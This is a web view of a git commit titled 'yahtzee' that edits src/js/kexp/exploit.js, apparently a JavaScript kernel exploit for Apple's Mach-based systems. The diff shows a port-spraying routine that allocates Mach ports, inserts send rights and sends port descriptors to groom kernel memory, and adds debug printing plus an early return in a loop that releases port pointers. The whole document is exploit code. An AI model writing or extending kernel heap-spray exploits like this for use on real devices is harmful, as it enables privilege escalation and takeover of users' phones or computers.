diff options
| author | spv420 <spv@spv.sh> | 2022-07-27 15:29:03 -0400 |
|---|---|---|
| committer | spv420 <spv@spv.sh> | 2022-07-27 15:29:03 -0400 |
| commit | 73bd48d05bc8107ecb87b87857997f427bc0f544 (patch) | |
| tree | e3fa49c173b0fe4f52db36ec08e8fd3eb6eddd40 /src | |
| parent | 42647b796f0f54122e7f46522d8e681825daf54b (diff) | |
yahtzee
Diffstat (limited to 'src')
| -rwxr-xr-x | src/js/kexp/exploit.js | 12 |
1 files changed, 8 insertions, 4 deletions
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 473bc6e..ffbcbdc 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -209,12 +209,14 @@ function spray_ports(number_port_descs) { var mp = shit_heap(4); - mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); - mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); + var ret_ = mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); + printf("mpa %d (%s)\n", ret_, mach_error_string(ret_)); + ret_ = mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); + printf("mpir %d (%s)\n", ret_, mach_error_string(ret_)); - var ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); -// printf("%d (%s)\n", ret_, mach_error_string(ret_)); + printf("sp %d (%s)\n", ret_, mach_error_string(ret_)); var ret = read_u32(mp); shit_heap_free(mp); @@ -453,6 +455,8 @@ again: while (true) { release_port_ptrs(read_u32(fp + (i << 2))); } + return; + var arrmpt = shit_heap(8); write_u32(arrmpt, 0); write_u32(arrmpt + 4, 0); |